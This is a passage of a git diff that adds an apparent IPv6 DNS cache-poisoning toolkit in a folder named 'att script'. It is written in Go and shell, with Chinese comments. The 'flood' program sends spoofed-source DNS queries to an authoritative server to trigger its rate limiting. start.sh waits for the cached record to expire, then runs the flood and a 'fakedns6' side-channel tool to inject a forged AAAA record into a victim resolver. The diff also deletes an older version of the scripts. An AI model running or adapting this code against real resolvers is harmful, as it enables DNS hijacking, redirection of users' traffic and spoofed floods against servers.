(v6\347\257\241\346\224\271)/code/src/fakedns6/go.mod" new file mode 100644 index 0000000..4baf665 --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/go.mod" @@ -0,0 +1,15 @@ +module fakedns6 + +go 1.20 + +require ( + github.com/google/gopacket v1.1.19 + github.com/miekg/dns v1.1.57 +) + +require ( + golang.org/x/mod v0.12.0 // indirect + golang.org/x/net v0.17.0 // indirect + golang.org/x/sys v0.13.0 // indirect + golang.org/x/tools v0.13.0 // indirect +) diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/go.sum" "b/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/go.sum" new file mode 100644 index 0000000..5ab4292 --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/go.sum" @@ -0,0 +1,25 @@ +github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= +github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= +github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM= +github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc= +golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= +golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= +golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ= +golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/ipv6util.go" "b/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/ipv6util.go" new file mode 100644 index 0000000..09245d3 --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/ipv6util.go" @@ -0,0 +1,103 @@ +package main + +import ( + "encoding/hex" + "fmt" + "net" + "os/exec" + "strings" + "syscall" + "unsafe" +) + +type router struct { + ifaces []net.Interface + addrs []net.IP + v6 routeSlice +} +type routeSlice []*rtInfo + +type rtInfo struct { + // Dst net.IPNet + Gateway, PrefSrc net.IP + OutputIface uint32 + Priority uint32 +} + +func getv6Gateway() (net.IP, error) { + rtr := &router{} + + tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6) + if err != nil { + return nil, err + } + + msgs, err := syscall.ParseNetlinkMessage(tab) + if err != nil { + return nil, err + } + + for _, m := range msgs { + switch m.Header.Type { + case syscall.NLMSG_DONE: + break + case syscall.RTM_NEWROUTE: + // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0])) + attrs, err := syscall.ParseNetlinkRouteAttr(&m) + if err != nil { + return nil, err + } + routeInfo := rtInfo{} + rtr.v6 = append(rtr.v6, &routeInfo) + for _, attr := range attrs { + switch attr.Attr.Type { + // case syscall.RTA_DST: + // routeInfo.Dst.IP = net.IP(attr.Value) + // routeInfo.Dst.Mask = net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8) + case syscall.RTA_GATEWAY: + routeInfo.Gateway = net.IP(attr.Value) + case syscall.RTA_OIF: + routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0])) + case syscall.RTA_PRIORITY: + routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0])) + case syscall.RTA_PREFSRC: + routeInfo.PrefSrc = net.IP(attr.Value) + } + } + } + } + ips := []net.IP{} + for _, rt := range rtr.v6 { + if rt.Gateway != nil { + ips = append(ips, rt.Gateway) + } + } + return ips[0], nil +} + +func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) { + if debugOutput { + println("邻居发现--使用网卡接口为:" + ifacename) + } + out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output() + if err != nil { + println(err.Error()) + } else { + outlines := strings.Split(string(out), "/n") + for _, line := range outlines { + linelist := strings.Split(line, " ") + // 与网关对应的MAC地址 + if linelist[0] == gwIP.String() { + + maclist := strings.Split(linelist[2], ":") + var macbyte []byte + for _, m := range maclist { + b, _ := hex.DecodeString(m) + macbyte = append(macbyte, b[0]) + } + return net.HardwareAddr(macbyte), nil + } + } + } + return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址") +} diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/library.go" "b/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/library.go" new file mode 100644 index 0000000..edc4548 --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/library.go" @@ -0,0 +1,171 @@ +package main + +import ( + "encoding/binary" + "errors" + "fmt" + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" + "net" + "time" +) + +func GetIfaceAddrMulti(iface *net.Interface) ([]net.IP, error) { + addrs, err := iface.Addrs() + if err != nil { + return nil, errors.New("can not get ip address") + } + + var srcIP []net.IP + for _, address := range addrs { + if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { + if ipnet.IP.To16() != nil { + //check repeat + okToAdd := true + for _, temp := range srcIP { + if compareIPv6Addr(temp, ipnet.IP.To16()) == 0 { + okToAdd = false + break + } + } + if okToAdd { + srcIP = append(srcIP, ipnet.IP.To16()) + } + } + } + } + + if srcIP == nil || len(srcIP) == 0 { + return nil, errors.New("can not get ip address") + } + + return srcIP, nil +} + +func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error { + opts := gopacket.SerializeOptions{ + FixLengths: true, + ComputeChecksums: true, + } + buffer := gopacket.NewSerializeBuffer() + if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil { + return err + } + return handle.WritePacketData(buffer.Bytes()) +} + +func GetIfaceAddr(iface *net.Interface) (net.IP, error) { + addrs, err := iface.Addrs() + if err != nil { + return nil, errors.New("can not get ip address") + } + + var srcIP net.IP + for _, address := range addrs { + if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { + if ipnet.IP.To16() != nil { + srcIP = ipnet.IP.To16() + break + } + } + } + + if srcIP == nil { + return nil, errors.New("can not get ip address") + } + + return srcIP, nil +} + +func GetGatewayAddr(iface *net.Interface, handle *pcap.Handle, gatewayIP net.IP) (net.HardwareAddr, error) { + srcIP, err := GetIfaceAddr(iface) + if err != nil { + return nil, errors.New("can not get ip address") + } + + start := time.Now() + // Prepare the layers to send for an ARP request. + eth := layers.Ethernet{ + SrcMAC: iface.HardwareAddr, + DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, + EthernetType: layers.EthernetTypeARP, + } + arp := layers.ARP{ + AddrType: layers.LinkTypeEthernet, + Protocol: layers.EthernetTypeIPv6, + HwAddressSize: 6, + ProtAddressSize: 4, + Operation: layers.ARPRequest, + SourceHwAddress: []byte(iface.HardwareAddr), + SourceProtAddress: []byte(srcIP), + DstHwAddress: []byte{0, 0, 0, 0, 0, 0}, + DstProtAddress: []byte(gatewayIP), + } + // Send a single ARP request packet (we never retry a send, since this + // is just an example ;) + if err := Send(handle, ð, &arp); err != nil { + return nil, err + } + // Wait 3 seconds for an ARP reply. + for { + if time.Since(start) > time.Second*3 { + return nil, errors.New("timeout getting ARP reply") + } + data, _, err := handle.ReadPacketData() + if err == pcap.NextErrorTimeoutExpired { + continue + } else if err != nil { + return nil, err + } + packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) + if arpLayer := packet.Layer(layers.LayerTypeARP); arpLayer != nil { + arp := arpLayer.(*layers.ARP) + if net.IP(arp.SourceProtAddress).Equal(gatewayIP) { + return arp.SourceHwAddress, nil + } + } + } +} + +func compareIPv6Addr(ip0 net.IP, ip1 net.IP) int { + temp0 := binary.LittleEndian.Uint32(ip0.To16()) + temp1 := binary.LittleEndian.Uint32(ip1.To16()) + if temp0 == temp1 { + return 0 + } + if temp0 > temp1 { + return 1 + } + return -1 +} + +func xmitUDPv6(srcIP net.IP, dstIP net.IP, srcPort layers.UDPPort, dstPort layers.UDPPort, flowlabel uint32, timegap uint32) { + + ipLayer := layers.IPv6{ + FlowLabel: flowlabel, + SrcIP: srcIP, + DstIP: dstIP, + Version: 6, + HopLimit: 64, + NextHeader: layers.IPProtocolUDP, + } + udpLayer := layers.UDP{ + SrcPort: srcPort, + DstPort: dstPort, + } + + err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) + if err != nil { + fmt.Println("xmitUDPv6 can not SetNetworkLayerForChecksum", err) + } + err = Send(handle, ethernetLayer, &ipLayer, &udpLayer) + if err != nil { + fmt.Println("xmitUDPv6 can not send packet", err) + } + + if timegap != 0 { + time.Sleep(time.Duration(timegap) * time.Microsecond) + } + +} diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/go.mod" "b/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/go.mod" new file mode 100644 index 0000000..b55b38b --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/go.mod" @@ -0,0 +1,20 @@ +module flood + +go 1.21 + +toolchain go1.21.4 + +require ( + github.com/google/gopacket v1.1.19 + github.com/jackpal/gateway v1.0.13 +) + +require ( + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/stretchr/objx v0.5.0 // indirect + github.com/stretchr/testify v1.8.4 // indirect + golang.org/x/net v0.17.0 // indirect + golang.org/x/sys v0.13.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/go.sum" "b/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/go.sum" new file mode 100644 index 0000000..1cca74c --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/go.sum" @@ -0,0 +1,38 @@ +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= +github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= +github.com/jackpal/gateway v1.0.13 h1:fJccMvawxx0k7S1q7Fy/SXFE0R3hMXkMuw8y9SofWAk= +github.com/jackpal/gateway v1.0.13/go.mod h1:6c8LjW+FVESFmwxaXySkt7fU98Yv806ADS3OY6Cvh2U= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= +github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= +golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= +golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/ipv6util.go" "b/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/ipv6util.go" new file mode 100644 index 0000000..09245d3 --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/ipv6util.go" @@ -0,0 +1,103 @@ +package main + +import ( + "encoding/hex" + "fmt" + "net" + "os/exec" + "strings" + "syscall" + "unsafe" +) + +type router struct { + ifaces []net.Interface + addrs []net.IP + v6 routeSlice +} +type routeSlice []*rtInfo + +type rtInfo struct { + // Dst net.IPNet + Gateway, PrefSrc net.IP + OutputIface uint32 + Priority uint32 +} + +func getv6Gateway() (net.IP, error) { + rtr := &router{} + + tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6) + if err != nil { + return nil, err + } + + msgs, err := syscall.ParseNetlinkMessage(tab) + if err != nil { + return nil, err + } + + for _, m := range msgs { + switch m.Header.Type { + case syscall.NLMSG_DONE: + break + case syscall.RTM_NEWROUTE: + // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0])) + attrs, err := syscall.ParseNetlinkRouteAttr(&m) + if err != nil { + return nil, err + } + routeInfo := rtInfo{} + rtr.v6 = append(rtr.v6, &routeInfo) + for _, attr := range attrs { + switch attr.Attr.Type { + // case syscall.RTA_DST: + // routeInfo.Dst.IP = net.IP(attr.Value) + // routeInfo.Dst.Mask = net.CIDRMask(int(rtmsg.Dst_len), len(attr.Value)*8) + case syscall.RTA_GATEWAY: + routeInfo.Gateway = net.IP(attr.Value) + case syscall.RTA_OIF: + routeInfo.OutputIface = *(*uint32)(unsafe.Pointer(&attr.Value[0])) + case syscall.RTA_PRIORITY: + routeInfo.Priority = *(*uint32)(unsafe.Pointer(&attr.Value[0])) + case syscall.RTA_PREFSRC: + routeInfo.PrefSrc = net.IP(attr.Value) + } + } + } + } + ips := []net.IP{} + for _, rt := range rtr.v6 { + if rt.Gateway != nil { + ips = append(ips, rt.Gateway) + } + } + return ips[0], nil +} + +func getGatewayV6Mac(ifacename string, gwIP net.IP) (net.HardwareAddr, error) { + if debugOutput { + println("邻居发现--使用网卡接口为:" + ifacename) + } + out, err := exec.Command("ip", "-6", "neighbor", "show", "dev", ifacename).Output() + if err != nil { + println(err.Error()) + } else { + outlines := strings.Split(string(out), "/n") + for _, line := range outlines { + linelist := strings.Split(line, " ") + // 与网关对应的MAC地址 + if linelist[0] == gwIP.String() { + + maclist := strings.Split(linelist[2], ":") + var macbyte []byte + for _, m := range maclist { + b, _ := hex.DecodeString(m) + macbyte = append(macbyte, b[0]) + } + return net.HardwareAddr(macbyte), nil + } + } + } + return nil, fmt.Errorf("无法找到网关" + gwIP.String() + "对应的MAC地址") +} diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/main.go" "b/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/main.go" new file mode 100644 index 0000000..be0f1b4 --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/src/flood/main.go" @@ -0,0 +1,192 @@ +package main + +import ( + "errors" + "flag" + "fmt" + "math/rand" + "net" + "os" + "strconv" + + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" +) + +// 各层的定义 +var ethernetLayer *layers.Ethernet +var debugOutput = false +var handle *pcap.Handle +var repeatTime = 100 + +func main() { + // 读取参数配置 + ifaceNameArg := flag.String("i", "vmnet1", "用于发送查询包的网络端口") + sourceaddrArg := flag.String("saddr", "", "伪造报文的源地址") + targetaddrArg := flag.String("taddr", "", "目标权威的地址") + qnameArg := flag.String("q", "www.baidu.com.", "请求查询的域名") + debugOutputArg := flag.Bool("d", false, "debug模式输出") + flag.Parse() + + // 指针->值 + ifaceName := *ifaceNameArg + sourceaddr := *sourceaddrArg + targetaddr := *targetaddrArg + qname := *qnameArg + debugOutput = *debugOutputArg + defer os.Exit(0) + + handle, _ = pcap.OpenLive( + ifaceName, + 65536, + true, + pcap.BlockForever, + ) + + // 构造MAC层 + var srcmac net.HardwareAddr + var dstmac net.HardwareAddr + if ifaceName == "" { + ifaceName = "eth0" + } + + // 源MAC + loiface, err := net.InterfaceByName(ifaceName) + if err != nil { + fmt.Println(err.Error()) + } + srcmac = loiface.HardwareAddr + if debugOutput { + fmt.Println("源MAC地址为: " + srcmac.String()) + } + + // 目的MAC + // 获取网关地址 + gwIP, _ := getv6Gateway() + fmt.Println("网关IPv6地址为:" + gwIP.String()) + dstmac, err = GetGatewayIPv6Addr(loiface, gwIP) + if err != nil { + fmt.Println(err.Error()) + } + if debugOutput { + fmt.Println("目的MAC地址为: " + dstmac.String()) + } + + // mac层包 + ethernetLayer = &layers.Ethernet{ + SrcMAC: srcmac, + DstMAC: dstmac, + EthernetType: layers.EthernetTypeIPv6, + } + + // dns查询 + for i := 0; i < repeatTime; i++ { + go sendDNSRequest(uint16(rand.Uint32()), qname, net.ParseIP(sourceaddr), net.ParseIP(targetaddr)) + } + if debugOutput { + fmt.Println("已连续发送" + strconv.Itoa(repeatTime) + "个请求包到" + targetaddr) + } +} + +func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error { + opts := gopacket.SerializeOptions{ + FixLengths: true, + ComputeChecksums: true, + } + buffer := gopacket.NewSerializeBuffer() + if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil { + return err + } + err := handle.WritePacketData(buffer.Bytes()) + if err != nil { + println(err.Error()) + } + return nil +} + +func GetIfaceAddr(iface *net.Interface) (net.IP, error) { + addrs, err := iface.Addrs() + if err != nil { + return nil, errors.New("can not get ip address") + } + + var srcIP net.IP + for _, address := range addrs { + if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { + if ipnet.IP.To16() != nil { + srcIP = ipnet.IP.To16() + break + } + } + } + + if srcIP == nil { + return nil, errors.New("can not get ip address") + } + + return srcIP, nil +} + +func GetGatewayIPv6Addr(iface *net.Interface, gatewayIP net.IP) (net.HardwareAddr, error) { + gwMAC, err := getGatewayV6Mac(iface.Name, gatewayIP) + if err != nil { + fmt.Println(err.Error()) + panic("") + } + return gwMAC, nil +} + +func sendDNSRequest(id uint16, name string, resolverIP net.IP, authIP net.IP) { + if debugOutput { + fmt.Println("Send new DNS request", name, id, resolverIP.String(), authIP.String()) + } + _sendDNSRequest(id, name, resolverIP, authIP, (layers.UDPPort)(rand.Uint32()), 53) +} + +func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) { + ipLayer := layers.IPv6{ + FlowLabel: 1, + SrcIP: src, + DstIP: dst, + Version: 6, + HopLimit: 64, + NextHeader: layers.IPProtocolUDP, + //Flags: layers.IPv4DontFragment, + } + udpLayer := layers.UDP{ + SrcPort: sport, + DstPort: dport, + } + dnsLayer := layers.DNS{ + ID: id, + QR: false, + OpCode: 0, + AA: false, + TC: false, + RD: true, + RA: false, + Z: 0, + ResponseCode: 0, + QDCount: 1, + ANCount: 0, + NSCount: 0, + ARCount: 0, + Questions: []layers.DNSQuestion{{ + Name: []byte(name), + Type: layers.DNSTypeAAAA, + Class: layers.DNSClassIN, + }}, + Authorities: nil, + Additionals: nil, + } + + err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) + if err != nil { + fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err) + } + err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) + if err != nil { + fmt.Println("can not send packet @ sendDNSRequest: ", err) + } +} diff --git "a/att script/5 (v6\347\257\241\346\224\271)/code/start.sh" "b/att script/5 (v6\347\257\241\346\224\271)/code/start.sh" new file mode 100644 index 0000000..03b7812 --- /dev/null +++ "b/att script/5 (v6\347\257\241\346\224\271)/code/start.sh" @@ -0,0 +1,38 @@ +# 目前仅考虑篡改或注入AAAA记录 +# $1 for victim resolver IP, $2 想要篡改的IPv6地址结果, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP +# Please run with sudo. + +# Verify the existing record domain, just for proof purposes. +echo '获取原记录中:' +dig @$1 $4 AAAA +sleeptime=0 +sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'` + +echo "等待缓存过期,$sleeptime 秒之后开始攻击..." +sleep $sleeptime + +echo "开始攻击" +echo "攻击参数:" +echo "目标域名权威服务地址:$5" +echo "目标解析服务地址:$1" +echo "目标域名:$4" + +# 伪造目标服务IPv6地址向权威服务器发送大量查询 [权威][目标IP][目标域名][网络接口] +bash ./dns_query.sh $5 $1 $4 $3 + +# 开始攻击 +# Change the argument accordingly +echo "执行侧信道攻击脚本中" +./fakedns6 -a=$5 -b=$1 -i=$3 -n=$4 -r=$1 -t 50000 -ad=$2 -tg 0 -s 10000 -e 65000 -j 0 -d=true + + + # Validations +echo "攻击结束" +dig @$1 $4 AAAA + +sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'` +echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.' + +echo '等待两秒...' +sleep 2 +dig @$1 $4 AAAA diff --git "a/att script/5 (v6\347\257\241\346\224\271)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" "b/att script/5 (v6\347\257\241\346\224\271)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" new file mode 100644 index 0000000..c5b1afa Binary files /dev/null and "b/att script/5 (v6\347\257\241\346\224\271)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" differ diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/attack.sh" "b/att script/5(v6\346\263\250\345\205\245)/code/attack.sh" deleted file mode 100644 index d67ca19..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/attack.sh" +++ /dev/null @@ -1,3 +0,0 @@ -chmod 777 ./start.sh -chmod 777 ./dns_query.sh -./start.sh $1 $2 $3 $4 $5 \ No newline at end of file diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/dns_OPT.bin" "b/att script/5(v6\346\263\250\345\205\245)/code/dns_OPT.bin" deleted file mode 100644 index e0dcbc1..0000000 Binary files "a/att script/5(v6\346\263\250\345\205\245)/code/dns_OPT.bin" and /dev/null differ diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/dns_end.bin" "b/att script/5(v6\346\263\250\345\205\245)/code/dns_end.bin" deleted file mode 100644 index 8aa4774..0000000 Binary files "a/att script/5(v6\346\263\250\345\205\245)/code/dns_end.bin" and /dev/null differ diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/dns_query.sh" "b/att script/5(v6\346\263\250\345\205\245)/code/dns_query.sh" deleted file mode 100644 index dbc0266..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/dns_query.sh" +++ /dev/null @@ -1,8 +0,0 @@ -# usage ./dns_query.sh [NS IP] [Resolver IP(spoofed as source IP)] domain... (e.g. www google com) -# write the domain name into the binary -echo "初始化工具环境" -# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power. -# fire! -go version -echo "尝试触发权威服务器请求速率限制" -./flood -i $4 -saddr $2 -taddr $1 -q $3 diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/dns_start.bin" "b/att script/5(v6\346\263\250\345\205\245)/code/dns_start.bin" deleted file mode 100644 index e6e4242..0000000 Binary files "a/att script/5(v6\346\263\250\345\205\245)/code/dns_start.bin" and /dev/null differ diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/attack.go" "b/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/attack.go" 